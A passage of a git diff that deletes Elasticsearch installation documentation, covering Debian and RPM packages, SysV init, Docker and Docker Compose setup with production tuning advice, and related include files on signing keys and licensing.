-    "minimum_wire_compatibility_version" : "1.2.3",
-    "minimum_index_compatibility_version" : "1.2.3"
-  },
-  "tagline" : "You Know, for Search"
-}
---------------------------------------------
-// TESTRESPONSE[s/"name" : "Cp8oag6",/"name" : "$body.name",/]
-// TESTRESPONSE[s/"cluster_name" : "elasticsearch",/"cluster_name" : "$body.cluster_name",/]
-// TESTRESPONSE[s/"cluster_uuid" : "AT69_T_DTp-1qgIJlatQqA",/"cluster_uuid" : "$body.cluster_uuid",/]
-// TESTRESPONSE[s/"build_hash" : "f27399d",/"build_hash" : "$body.version.build_hash",/]
-// TESTRESPONSE[s/"build_date" : "2016-03-30T09:51:41.449Z",/"build_date" : $body.version.build_date,/]
-// TESTRESPONSE[s/"build_snapshot" : false,/"build_snapshot" : $body.version.build_snapshot,/]
-// TESTRESPONSE[s/"minimum_wire_compatibility_version" : "1.2.3"/"minimum_wire_compatibility_version" : $body.version.minimum_wire_compatibility_version/]
-// TESTRESPONSE[s/"minimum_index_compatibility_version" : "1.2.3"/"minimum_index_compatibility_version" : $body.version.minimum_index_compatibility_version/]
-// So much s/// but at least we test that the layout is close to matching....
diff --git a/docs/reference/setup/install/deb-init.asciidoc b/docs/reference/setup/install/deb-init.asciidoc
deleted file mode 100644
index 0e6e142a829..00000000000
--- a/docs/reference/setup/install/deb-init.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-==== Running Elasticsearch with SysV `init`
-
-Use the `update-rc.d` command to configure Elasticsearch to start automatically
-when the system boots up:
-
-[source,sh]
---------------------------------------------------
-sudo update-rc.d elasticsearch defaults 95 10
---------------------------------------------------
-
-Elasticsearch can be started and stopped using the `service` command:
-
-[source,sh]
---------------------------------------------
-sudo -i service elasticsearch start
-sudo -i service elasticsearch stop
---------------------------------------------
-
-If Elasticsearch fails to start for any reason, it will print the reason for
-failure to STDOUT. Log files can be found in `/var/log/elasticsearch/`.
\ No newline at end of file
diff --git a/docs/reference/setup/install/deb.asciidoc b/docs/reference/setup/install/deb.asciidoc
deleted file mode 100644
index 4e02a6103a6..00000000000
--- a/docs/reference/setup/install/deb.asciidoc
+++ /dev/null
@@ -1,265 +0,0 @@
-[[deb]]
-=== Install Elasticsearch with Debian Package
-
-The Debian package for Elasticsearch can be <<install-deb,downloaded from our website>>
-or from our <<deb-repo,APT repository>>. It can be used to install
-Elasticsearch on any Debian-based system such as Debian and Ubuntu.
-
-include::license.asciidoc[]
-
-The latest stable version of Elasticsearch can be found on the
-link:/downloads/elasticsearch[Download Elasticsearch] page. Other versions can
-be found on the link:/downloads/past-releases[Past Releases page].
-
-NOTE: Elasticsearch includes a bundled version of https://openjdk.java.net[OpenJDK]
-from the JDK maintainers (GPLv2+CE). To use your own version of Java,
-see the <<jvm-version, JVM version requirements>>
-
-[[deb-key]]
-==== Import the Elasticsearch PGP Key
-
-include::key.asciidoc[]
-
-[source,sh]
--------------------------
-wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
--------------------------
-
-[[deb-repo]]
-==== Installing from the APT repository
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-You may need to install the `apt-transport-https` package on Debian before proceeding:
-
-[source,sh]
---------------------------------------------------
-sudo apt-get install apt-transport-https
---------------------------------------------------
-
-Save the repository definition to  +/etc/apt/sources.list.d/elastic-{major-version}.list+:
-
-ifeval::["{release-state}"=="released"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-echo "deb https://artifacts.elastic.co/packages/{major-version}/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-{major-version}.list
---------------------------------------------------
-
-endif::[]
-
-ifeval::["{release-state}"=="prerelease"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-echo "deb https://artifacts.elastic.co/packages/{major-version}-prerelease/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-{major-version}.list
---------------------------------------------------
-
-endif::[]
-
-
-[NOTE]
-==================================================
-
-These instructions do not use `add-apt-repository` for several reasons:
-
-. `add-apt-repository` adds entries to the system `/etc/apt/sources.list` file
-  rather than a clean per-repository file in `/etc/apt/sources.list.d`
-. `add-apt-repository` is not part of the default install on many distributions
-  and requires a number of non-default dependencies.
-. Older versions of `add-apt-repository` always add a `deb-src` entry which
-  will cause errors because we do not provide a source package. If you have added
-  the `deb-src` entry, you will see an error like the following until you delete
-  the `deb-src` line:
-
-    Unable to find expected entry 'main/source/Sources' in Release file
-    (Wrong sources.list entry or malformed file)
-
-==================================================
-
-You can install the Elasticsearch Debian package with:
-
-[source,sh]
---------------------------------------------------
-sudo apt-get update && sudo apt-get install elasticsearch
---------------------------------------------------
-
-[WARNING]
-==================================================
-If two entries exist for the same Elasticsearch repository, you will see an error like this during `apt-get update`:
-
-["literal",subs="attributes,callouts"]
-
-Duplicate sources.list entry https://artifacts.elastic.co/packages/{major-version}/apt/ ...`
-
-Examine +/etc/apt/sources.list.d/elasticsearch-{major-version}.list+ for the duplicate entry or locate the duplicate entry amongst the files in `/etc/apt/sources.list.d/` and the `/etc/apt/sources.list` file.
-==================================================
-
-endif::[]
-
-include::skip-set-kernel-parameters.asciidoc[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-[NOTE]
-==================================================
-
-An alternative package which contains only features that are available under the
-Apache 2.0 license is also available. To install it, use the following sources list:
-
-ifeval::["{release-state}"=="prerelease"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-echo "deb https://artifacts.elastic.co/packages/oss-{major-version}-prerelease/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-{major-version}.list
---------------------------------------------------
-
-endif::[]
-
-ifeval::["{release-state}"!="prerelease"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-echo "deb https://artifacts.elastic.co/packages/oss-{major-version}/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-{major-version}.list
---------------------------------------------------
-
-endif::[]
-
-==================================================
-
-endif::[]
-
-[[install-deb]]
-==== Download and install the Debian package manually
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-The Debian package for Elasticsearch v{version} can be downloaded from the website and installed as follows:
-
-["source","sh",subs="attributes"]
---------------------------------------------
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-amd64.deb
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-amd64.deb.sha512
-shasum -a 512 -c elasticsearch-{version}-amd64.deb.sha512 <1>
-sudo dpkg -i elasticsearch-{version}-amd64.deb
---------------------------------------------
-<1> Compares the SHA of the downloaded Debian package and the published checksum, which should output
-    `elasticsearch-{version}-amd64.deb: OK`.
-    
-Alternatively, you can download the following package, which contains only 
-features that are available under the Apache 2.0 license: 
-https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-oss-{version}-amd64.deb    
-
-endif::[]
-
-ifdef::include-xpack[]
-[role="xpack"]
-[[deb-enable-indices]]
-==== Enable automatic creation of system indices
-
-include::xpack-indices.asciidoc[]
-
-endif::include-xpack[]
-
-[[deb-sysv-init-vs-systemd]]
-==== SysV `init` vs `systemd`
-
-include::init-systemd.asciidoc[]
-
-[[deb-running-init]]
-include::deb-init.asciidoc[]
-
-[[deb-running-systemd]]
-include::systemd.asciidoc[]
-
-[[deb-check-running]]
-include::check-running.asciidoc[]
-
-[[deb-configuring]]
-==== Configuring Elasticsearch
-
-include::etc-elasticsearch.asciidoc[]
-
-The Debian package also has a system configuration file (`/etc/default/elasticsearch`),
-which allows you to set the following parameters:
-
-include::sysconfig-file.asciidoc[]
-
-NOTE: Distributions that use `systemd` require that system resource limits be
-configured via `systemd` rather than via the `/etc/sysconfig/elasticsearch`
-file.  See <<systemd>> for more information.
-
-[[deb-layout]]
-==== Directory layout of Debian package
-
-The Debian package places config files, logs, and the data directory in the appropriate
-locations for a Debian-based system:
-
-
-[cols="<h,<,<m,<m",options="header",]
-|=======================================================================
-| Type | Description | Default Location | Setting
-| home
-  | Elasticsearch home directory or `$ES_HOME`
-  | /usr/share/elasticsearch
- d|
-
-| bin
-  | Binary scripts including `elasticsearch` to start a node
-    and `elasticsearch-plugin` to install plugins
-  | /usr/share/elasticsearch/bin
- d|
-
-| conf
-  | Configuration files including `elasticsearch.yml`
-  | /etc/elasticsearch
-  | <<config-files-location,ES_PATH_CONF>>
-
-| conf
-  | Environment variables including heap size, file descriptors.
-  | /etc/default/elasticsearch
- d|
-
-| data
-  | The location of the data files of each index / shard allocated
-    on the node. Can hold multiple locations.
-  | /var/lib/elasticsearch
-  | path.data
-
-| jdk
-  | The bundled Java Development Kit used to run Elasticsearch. Can
-    be overridden by setting the `JAVA_HOME` environment variable
-    in `/etc/default/elasticsearch`.
-  | /usr/share/elasticsearch/jdk
- d|
-
-| logs
-  | Log files location.
-  | /var/log/elasticsearch
-  | path.logs
-
-| plugins
-  | Plugin files location. Each plugin will be contained in a subdirectory.
-  | /usr/share/elasticsearch/plugins
-  |
-
-| repo
-  | Shared file system repository locations. Can hold multiple locations. A file system repository can be placed in to any subdirectory of any directory specified here.
- d| Not configured
-  | path.repo
-
-|=======================================================================
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/install/docker-compose.yml b/docs/reference/setup/install/docker-compose.yml
deleted file mode 100644
index d4581be0824..00000000000
--- a/docs/reference/setup/install/docker-compose.yml
+++ /dev/null
@@ -1,70 +0,0 @@
-version: '2.2'
-services:
-  es01:
-    image: {docker-image}
-    container_name: es01
-    environment:
-      - node.name=es01
-      - cluster.name=es-docker-cluster
-      - discovery.seed_hosts=es02,es03
-      - cluster.initial_master_nodes=es01,es02,es03
-      - bootstrap.memory_lock=true
-      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
-    ulimits:
-      memlock:
-        soft: -1
-        hard: -1
-    volumes:
-      - data01:/usr/share/elasticsearch/data
-    ports:
-      - 9200:9200
-    networks:
-      - elastic
-  es02:
-    image: {docker-image}
-    container_name: es02
-    environment:
-      - node.name=es02
-      - cluster.name=es-docker-cluster
-      - discovery.seed_hosts=es01,es03
-      - cluster.initial_master_nodes=es01,es02,es03
-      - bootstrap.memory_lock=true
-      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
-    ulimits:
-      memlock:
-        soft: -1
-        hard: -1
-    volumes:
-      - data02:/usr/share/elasticsearch/data
-    networks:
-      - elastic
-  es03:
-    image: {docker-image}
-    container_name: es03
-    environment:
-      - node.name=es03
-      - cluster.name=es-docker-cluster
-      - discovery.seed_hosts=es01,es02
-      - cluster.initial_master_nodes=es01,es02,es03
-      - bootstrap.memory_lock=true
-      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
-    ulimits:
-      memlock:
-        soft: -1
-        hard: -1
-    volumes:
-      - data03:/usr/share/elasticsearch/data    
-    networks:
-      - elastic
-
-volumes:
-  data01:
-    driver: local
-  data02:
-    driver: local
-  data03:
-    driver: local    
-
-networks:
-  elastic:
-    driver: bridge
\ No newline at end of file
diff --git a/docs/reference/setup/install/docker.asciidoc b/docs/reference/setup/install/docker.asciidoc
deleted file mode 100644
index f08c25063be..00000000000
--- a/docs/reference/setup/install/docker.asciidoc
+++ /dev/null
@@ -1,433 +0,0 @@
-[[docker]]
-=== Install {es} with Docker
-
-{es} is also available as Docker images.
-The images use https://hub.docker.com/_/centos/[centos:8] as the base image.
-
-A list of all published Docker images and tags is available at
-https://www.docker.elastic.co[www.docker.elastic.co]. The source files
-are in
-https://github.com/elastic/elasticsearch/blob/{branch}/distribution/docker[Github].
-
-These images are free to use under the Elastic license. They contain open source
-and free commercial features and access to paid commercial features.
-{kibana-ref}/managing-licenses.html[Start a 30-day trial] to try out all of the
-paid commercial features. See the
-https://www.elastic.co/subscriptions[Subscriptions] page for information about
-Elastic license levels.
-
-==== Pulling the image
-
-Obtaining {es} for Docker is as simple as issuing a +docker pull+ command
-against the Elastic Docker registry.
-
-ifeval::["{release-state}"=="unreleased"]
-
-WARNING: Version {version} of {es} has not yet been released, so no
-Docker image is currently available for this version.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-[source,sh,subs="attributes"]
---------------------------------------------
-docker pull {docker-repo}:{version}
---------------------------------------------
-
-Alternatively, you can download other Docker images that contain only features
-available under the Apache 2.0 license. To download the images, go to
-https://www.docker.elastic.co[www.docker.elastic.co].
-
-endif::[]
-
-[[docker-cli-run-dev-mode]]
-==== Starting a single node cluster with Docker
-
-ifeval::["{release-state}"=="unreleased"]
-
-WARNING: Version {version} of the {es} Docker image has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-To start a single-node {es} cluster for development or testing, specify
-<<single-node-discovery,single-node discovery>> to bypass the <<bootstrap-checks,bootstrap checks>>:
-
-[source,sh,subs="attributes"]
---------------------------------------------
-docker run -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" {docker-image}
---------------------------------------------
-
-endif::[]
-
-[[docker-compose-file]]
-==== Starting a multi-node cluster with Docker Compose
-
-To get a three-node {es} cluster up and running in Docker,
-you can use Docker Compose:
-
-. Create a `docker-compose.yml` file:
-ifeval::["{release-state}"=="unreleased"]
-+
---
-WARNING: Version {version} of {es} has not yet been released, so a
-`docker-compose.yml` is not available for this version.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-[source,yaml,subs="attributes"]
---------------------------------------------
-include::docker-compose.yml[]
---------------------------------------------
-endif::[]
-
-This sample Docker Compose file brings up a three-node {es} cluster.
-Node `es01` listens on `localhost:9200` and `es02` and `es03` talk to `es01` over a Docker network.
-
-Please note that this configuration exposes port 9200 on all network interfaces, and given how
-Docker manipulates `iptables` on Linux, this means that your {es} cluster is publically accessible,
-potentially ignoring any firewall settings. If you don't want to expose port 9200 and instead use
-a reverse proxy, replace `9200:9200` with `127.0.0.1:9200:9200` in the docker-compose.yml file.
-{es} will then only be accessible from the host machine itself.
-
-The  https://docs.docker.com/storage/volumes[Docker named volumes]
-`data01`, `data02`, and `data03` store the node data directories so the data persists across restarts.
-If they don't already exist, `docker-compose` creates them when you bring up the cluster.
---
-. Make sure Docker Engine is allotted at least 4GiB of memory.
-In Docker Desktop, you configure resource usage on the Advanced tab in Preference (macOS)
-or Settings (Windows).
-+
-NOTE: Docker Compose is not pre-installed with Docker on Linux.
-See docs.docker.com for installation instructions:
-https://docs.docker.com/compose/install[Install Compose on Linux]
-
-. Run `docker-compose` to bring up the cluster:
-+
-[source,sh,subs="attributes"]
---------------------------------------------
-docker-compose up
---------------------------------------------
-
-. Submit a `_cat/nodes` request to see that the nodes are up and running:
-+
-[source,sh]
---------------------------------------------------
-curl -X GET "localhost:9200/_cat/nodes?v=true&pretty"
---------------------------------------------------
-// NOTCONSOLE
-
-Log messages go to the console and are handled by the configured Docker logging driver.
-By default you can access logs with `docker logs`.
-
-To stop the cluster, run `docker-compose down`.
-The data in the Docker volumes is preserved and loaded
-when you restart the cluster with `docker-compose up`.
-To **delete the data volumes** when you bring down the cluster,
-specify the `-v` option: `docker-compose down -v`.
-
-
-[[next-getting-started-tls-docker]]
-===== Start a multi-node cluster with TLS enabled
-
-See <<configuring-tls-docker>> and
-{stack-gs}/get-started-docker.html#get-started-docker-tls[Run the {stack} in Docker with TLS enabled].
-
-[[docker-prod-prerequisites]]
-==== Using the Docker images in production
-
-The following requirements and recommendations apply when running {es} in Docker in production.
-
-===== Set `vm.max_map_count` to at least `262144`
-
-The `vm.max_map_count` kernel setting must be set to at least `262144` for production use.
-
-How you set `vm.max_map_count` depends on your platform:
-
-* Linux
-+
---
-The `vm.max_map_count` setting should be set permanently in `/etc/sysctl.conf`:
-[source,sh]
---------------------------------------------
-grep vm.max_map_count /etc/sysctl.conf
-vm.max_map_count=262144
---------------------------------------------
-
-To apply the setting on a live system, run:
-
-[source,sh]
---------------------------------------------
-sysctl -w vm.max_map_count=262144
---------------------------------------------
---
-
-* macOS with  https://docs.docker.com/docker-for-mac[Docker for Mac]
-+
---
-The `vm.max_map_count` setting must be set within the xhyve virtual machine:
-
-. From the command line, run:
-+
-[source,sh]
---------------------------------------------
-screen ~/Library/Containers/com.docker.docker/Data/vms/0/tty
---------------------------------------------
-
-. Press enter and use`sysctl` to configure `vm.max_map_count`:
-+
-[source,sh]
---------------------------------------------
-sysctl -w vm.max_map_count=262144
---------------------------------------------
-
-. To exit the `screen` session, type `Ctrl a d`.
---
-
-* Windows and macOS with https://www.docker.com/products/docker-desktop[Docker Desktop]
-+
---
-The `vm.max_map_count` setting must be set via docker-machine:
-
-[source,sh]
---------------------------------------------
-docker-machine ssh
-sudo sysctl -w vm.max_map_count=262144
---------------------------------------------
---
-
-* Windows with https://docs.docker.com/docker-for-windows/wsl[Docker Desktop WSL 2 backend]
-+
---
-The `vm.max_map_count` setting must be set in the docker-desktop container:
-
-[source,sh]
---------------------------------------------
-wsl -d docker-desktop
-sysctl -w vm.max_map_count=262144
---------------------------------------------
---
-
-===== Configuration files must be readable by the `elasticsearch` user
-
-By default, {es} runs inside the container as user `elasticsearch` using
-uid:gid `1000:0`.
-
-IMPORTANT: One exception is https://docs.openshift.com/container-platform/3.6/creating_images/guidelines.html#openshift-specific-guidelines[Openshift],
-which runs containers using an arbitrarily assigned user ID.
-Openshift presents persistent volumes with the gid set to `0`, which works without any adjustments.
-
-If you are bind-mounting a local directory or file, it must be readable by the `elasticsearch` user.
-In addition, this user must have write access to the <<path-settings,data and log dirs>>.
-A good strategy is to grant group access to gid `0` for the local directory.
-
-For example, to prepare a local directory for storing data through a bind-mount:
-
-[source,sh]
---------------------------------------------
-mkdir esdatadir
-chmod g+rwx esdatadir
-chgrp 0 esdatadir
---------------------------------------------
-
-As a last resort, you can force the container to mutate the ownership of
-any bind-mounts used for the <<path-settings,data and log dirs>> through the
-environment variable `TAKE_FILE_OWNERSHIP`. When you do this, they will be owned by
-uid:gid `1000:0`, which provides the required read/write access to the {es} process.
-
-
-===== Increase ulimits for nofile and nproc
-
-Increased ulimits for <<setting-system-settings,nofile>> and <<max-number-threads-check,nproc>>
-must be available for the {es} containers.
-Verify the https://github.com/moby/moby/tree/ea4d1243953e6b652082305a9c3cda8656edab26/contrib/init[init system]
-for the Docker daemon sets them to acceptable values.
-
-To check the Docker daemon defaults for ulimits, run:
-
-[source,sh]
---------------------------------------------
-docker run --rm centos:8 /bin/bash -c 'ulimit -Hn && ulimit -Sn && ulimit -Hu && ulimit -Su'
---------------------------------------------
-
-If needed, adjust them in the Daemon or override them per container.
-For example, when using `docker run`, set:
-
-[source,sh]
---------------------------------------------
---ulimit nofile=65535:65535
---------------------------------------------
-
-===== Disable swapping
-
-Swapping needs to be disabled for performance and node stability.
-For information about ways to do this, see <<setup-configuration-memory>>.
-
-If you opt for the `bootstrap.memory_lock: true` approach,
-you also need to define the `memlock: true` ulimit in the
-https://docs.docker.com/engine/reference/commandline/dockerd/#default-ulimits[Docker Daemon],
-or explicitly set for the container as shown in the  <<docker-compose-file, sample compose file>>.
-When using `docker run`, you can specify:
-
-  -e "bootstrap.memory_lock=true" --ulimit memlock=-1:-1
-
-===== Randomize published ports
-
-The image https://docs.docker.com/engine/reference/builder/#/expose[exposes]
-TCP ports 9200 and 9300. For production clusters, randomizing the
-published ports with `--publish-all` is recommended,
-unless you are pinning one container per host.
-
-[[docker-set-heap-size]]
-===== Set the heap size
-
-To configure the heap size, you can bind mount a <<jvm-options,JVM options>>
-file under `/usr/share/elasticsearch/config/jvm.options.d` that includes your
-desired <<heap-size,heap size>> settings. Note that while the default root
-`jvm.options` file sets a default heap of 1 GB, any value you set in a
-bind-mounted JVM options file will override it.
-
-While setting the heap size via bind-mounted JVM options is the recommended
-method, you can also configure this by using the `ES_JAVA_OPTS` environment
-variable to set the heap size. For example, to use 16 GB, specify
-`-e ES_JAVA_OPTS="-Xms16g -Xmx16g"` with `docker run`. Note that while the
-default root `jvm.options` file sets a default heap of 1 GB, any value you set
-in `ES_JAVA_OPTS` will override it. The `docker-compose.yml` file above sets the heap size to 512 MB.
-
-IMPORTANT: You must <<heap-size,configure the heap size>> even if you are
-https://docs.docker.com/config/containers/resource_constraints/#limit-a-containers-access-to-memory[limiting
-memory access] to the container.
-
-===== Pin deployments to a specific image version
-
-Pin your deployments to a specific version of the {es} Docker image. For
-example +docker.elastic.co/elasticsearch/elasticsearch:{version}+.
-
-===== Always bind data volumes
-
-You should use a volume bound on `/usr/share/elasticsearch/data` for the following reasons:
-
-.  The data of your {es} node won't be lost if the container is killed
-
-. {es} is I/O sensitive and the Docker storage driver is not ideal for fast I/O
-
-. It allows the use of advanced
-https://docs.docker.com/engine/extend/plugins/#volume-plugins[Docker volume plugins]
-
-===== Avoid using `loop-lvm` mode
-
-If you are using the devicemapper storage driver, do not use the default `loop-lvm` mode.
-Configure docker-engine to use
-https://docs.docker.com/engine/userguide/storagedriver/device-mapper-driver/#configure-docker-with-devicemapper[direct-lvm].
-
-===== Centralize your logs
-
-Consider centralizing your logs by using a different
-https://docs.docker.com/engine/admin/logging/overview/[logging driver]. Also
-note that the default json-file logging driver is not ideally suited for
-production use.
-
-[[docker-configuration-methods]]
-==== Configuring {es} with Docker
-
-When you run in Docker, the <<config-files-location,{es} configuration files>> are loaded from
-`/usr/share/elasticsearch/config/`.
-
-To use custom configuration files, you <<docker-config-bind-mount, bind-mount the files>>
-over the configuration files in the image.
-
-You can set individual {es} configuration parameters using Docker environment variables.
-The <<docker-compose-file, sample compose file>> and the
-<<docker-cli-run-dev-mode, single-node example>> use this method.
-
-To use the contents of a file to set an environment variable, suffix the environment
-variable name with `_FILE`. This is useful for passing secrets such as passwords to {es}
-without specifying them directly.
-
-For example, to set the {es} bootstrap password from a file, you can bind mount the
-file and set the `ELASTIC_PASSWORD_FILE` environment variable to the mount location.
-If you mount the password file to `/run/secrets/bootstrapPassword.txt`, specify:
-
-[source,sh]
---------------------------------------------
--e ELASTIC_PASSWORD_FILE=/run/secrets/bootstrapPassword.txt
---------------------------------------------
-
-You can also override the default command for the image to pass {es} configuration
-parameters as command line options. For example:
-
-[source,sh]
---------------------------------------------
-docker run <various parameters> bin/elasticsearch -Ecluster.name=mynewclustername
---------------------------------------------
-
-While bind-mounting your configuration files is usually the preferred method in production,
-you can also <<_c_customized_image, create a custom Docker image>>
-that contains your configuration.
-
-[[docker-config-bind-mount]]
-===== Mounting {es} configuration files
-
-Create custom config files and bind-mount them over the corresponding files in the Docker image.
-For example, to bind-mount `custom_elasticsearch.yml` with `docker run`, specify:
-
-[source,sh]
---------------------------------------------
--v full_path_to/custom_elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml
---------------------------------------------
-
-IMPORTANT: The container **runs {es} as user `elasticsearch` using
-uid:gid `1000:0`**. Bind mounted host directories and files must be accessible by this user,
-and the data and log directories must be writable by this user.
-
-[[docker-keystore-bind-mount]]
-===== Mounting an {es} keystore
-
-By default, {es} will auto-generate a keystore file for secure settings. This
-file is obfuscated but not encrypted. If you want to encrypt your
-<<secure-settings,secure settings>> with a password, you must use the
-`elasticsearch-keystore` utility to create a password-protected keystore and
-bind-mount it to the container as
-`/usr/share/elasticsearch/config/elasticsearch.keystore`. In order to provide
-the Docker container with the password at startup, set the Docker environment
-value `KEYSTORE_PASSWORD` to the value of your password. For example, a `docker
-run` command might have the following options:
-
-[source, sh]
---------------------------------------------
--v full_path_to/elasticsearch.keystore:/usr/share/elasticsearch/config/elasticsearch.keystore
--E KEYSTORE_PASSWORD=mypassword
---------------------------------------------
-
-[[_c_customized_image]]
-===== Using custom Docker images
-In some environments, it might make more sense to prepare a custom image that contains
-your configuration. A `Dockerfile` to achieve this might be as simple as:
-
-[source,sh,subs="attributes"]
---------------------------------------------
-FROM docker.elastic.co/elasticsearch/elasticsearch:{version}
-COPY --chown=elasticsearch:elasticsearch elasticsearch.yml /usr/share/elasticsearch/config/
---------------------------------------------
-
-You could then build and run the image with:
-
-[source,sh]
---------------------------------------------
-docker build --tag=elasticsearch-custom .
-docker run -ti -v /usr/share/elasticsearch/data elasticsearch-custom
---------------------------------------------
-
-Some plugins require additional security permissions.
-You must explicitly accept them either by:
-
-* Attaching a `tty` when you run the Docker image and allowing the permissions when prompted.
-* Inspecting the security permissions and accepting them (if appropriate) by adding the `--batch` flag to the plugin install command.
-
-See {plugins}/_other_command_line_parameters.html[Plugin management]
-for more information.
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/install/etc-elasticsearch.asciidoc b/docs/reference/setup/install/etc-elasticsearch.asciidoc
deleted file mode 100644
index e36a075c127..00000000000
--- a/docs/reference/setup/install/etc-elasticsearch.asciidoc
+++ /dev/null
@@ -1,14 +0,0 @@
-The `/etc/elasticsearch` directory contains the default runtime configuration
-for {es}. The ownership of this directory and all contained files are set to
-`root:elasticsearch` on package installations.
-
-The `setgid` flag applies group permissions on the `/etc/elasticsearch`
-directory to ensure that {es} can read any contained files and subdirectories.
-All files and subdirectories inherit the `root:elasticsearch` ownership.
-Running commands from this directory or any subdirectories, such as the
-<<secure-settings,elasticsearch-keystore tool>>, requires `root:elasticsearch`
-permissions.
-
-Elasticsearch loads its configuration from the
-`/etc/elasticsearch/elasticsearch.yml` file by default.  The format of this
-config file is explained in <<settings>>.
diff --git a/docs/reference/setup/install/init-systemd.asciidoc b/docs/reference/setup/install/init-systemd.asciidoc
deleted file mode 100644
index 144fe4c4812..00000000000
--- a/docs/reference/setup/install/init-systemd.asciidoc
+++ /dev/null
@@ -1,10 +0,0 @@
-Elasticsearch is not started automatically after installation. How to start
-and stop Elasticsearch depends on whether your system uses SysV `init` or
-`systemd` (used by newer distributions).  You can tell which is being used by
-running this command:
-
-[source,sh]
---------------------------------------------
-ps -p 1
---------------------------------------------
-
diff --git a/docs/reference/setup/install/key.asciidoc b/docs/reference/setup/install/key.asciidoc
deleted file mode 100644
index 670bd875480..00000000000
--- a/docs/reference/setup/install/key.asciidoc
+++ /dev/null
@@ -1,8 +0,0 @@
-We sign all of our packages with the Elasticsearch Signing Key (PGP key
-https://pgp.mit.edu/pks/lookup?op=vindex&search=0xD27D666CD88E42B4[D88E42B4],
-available from https://pgp.mit.edu) with fingerprint:
-
-    4609 5ACC 8548 582C 1A26 99A9 D27D 666C D88E 42B4
-
-Download and install the public signing key:
-
diff --git a/docs/reference/setup/install/license.asciidoc b/docs/reference/setup/install/license.asciidoc
deleted file mode 100644
index 48ee097cdb0..00000000000
--- a/docs/reference/setup/install/license.asciidoc
+++ /dev/null
@@ -1,6 +0,0 @@
-This package is free to use under the Elastic license. It contains open source 
-and free commercial features and access to paid commercial features.  
-{kibana-ref}/managing-licenses.html[Start a 30-day trial] to try out all of the 
-paid commercial features. See the 
-https://www.elastic.co/subscriptions[Subscriptions] page for information about 
-Elastic license levels.
diff --git a/docs/reference/setup/install/msi-windows-start.asciidoc b/docs/reference/setup/install/msi-windows-start.asciidoc
deleted file mode 100644
index 28bcfed6af3..00000000000
--- a/docs/reference/setup/install/msi-windows-start.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-==== Running Elasticsearch from the command line
-
-Once installed, Elasticsearch can be started from the command line, if not installed as a service
-and configured to start when installation completes, as follows:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-.\bin\elasticsearch.exe
---------------------------------------------
-
-The command line terminal will display output similar to the following:
-
-image::images/msi_installer/elasticsearch_exe.png[]
-
-By default, Elasticsearch runs in the foreground, prints its logs to `STDOUT` in addition
-to the `<cluster name>.log` file within `LOGSDIRECTORY`, and can be stopped by pressing `Ctrl-C`.
diff --git a/docs/reference/setup/install/next-steps.asciidoc b/docs/reference/setup/install/next-steps.asciidoc
deleted file mode 100644
index e52cdfee077..00000000000
--- a/docs/reference/setup/install/next-steps.asciidoc
+++ /dev/null
@@ -1,10 +0,0 @@
-[role="exclude"]
-==== Next steps
-
-You now have a test {es} environment set up.  Before you start
-serious development or go into production with {es}, you must do some additional
-setup:
-
-* Learn how to <<settings,configure Elasticsearch>>.
-* Configure <<important-settings,important Elasticsearch settings>>.
-* Configure <<system-config,important system settings>>.
diff --git a/docs/reference/setup/install/rpm-init.asciidoc b/docs/reference/setup/install/rpm-init.asciidoc
deleted file mode 100644
index a3db166308c..00000000000
--- a/docs/reference/setup/install/rpm-init.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-==== Running Elasticsearch with SysV `init`
-
-Use the `chkconfig` command to configure Elasticsearch to start automatically
-when the system boots up:
-
-[source,sh]
---------------------------------------------------
-sudo chkconfig --add elasticsearch
---------------------------------------------------
-
-Elasticsearch can be started and stopped using the `service` command:
-
-[source,sh]
---------------------------------------------
-sudo -i service elasticsearch start
-sudo -i service elasticsearch stop
---------------------------------------------
-
-If Elasticsearch fails to start for any reason, it will print the reason for
-failure to STDOUT. Log files can be found in `/var/log/elasticsearch/`.
diff --git a/docs/reference/setup/install/rpm.asciidoc b/docs/reference/setup/install/rpm.asciidoc
deleted file mode 100644
index 2c12122c251..00000000000
--- a/docs/reference/setup/install/rpm.asciidoc
+++ /dev/null
@@ -1,258 +0,0 @@
-[[rpm]]
-=== Install Elasticsearch with RPM
-
-The RPM for Elasticsearch can be <<install-rpm,downloaded from our website>>
-or from our  <<rpm-repo,RPM repository>>. It can be used to install
-Elasticsearch on any RPM-based system such as OpenSuSE, SLES, Centos, Red Hat,
-and Oracle Enterprise.
-
-NOTE: RPM install is not supported on distributions with old versions of RPM,
-such as SLES 11 and CentOS 5.  Please see <<targz>> instead.
-
-include::license.asciidoc[]
-
-The latest stable version of Elasticsearch can be found on the
-link:/downloads/elasticsearch[Download Elasticsearch] page. Other versions can
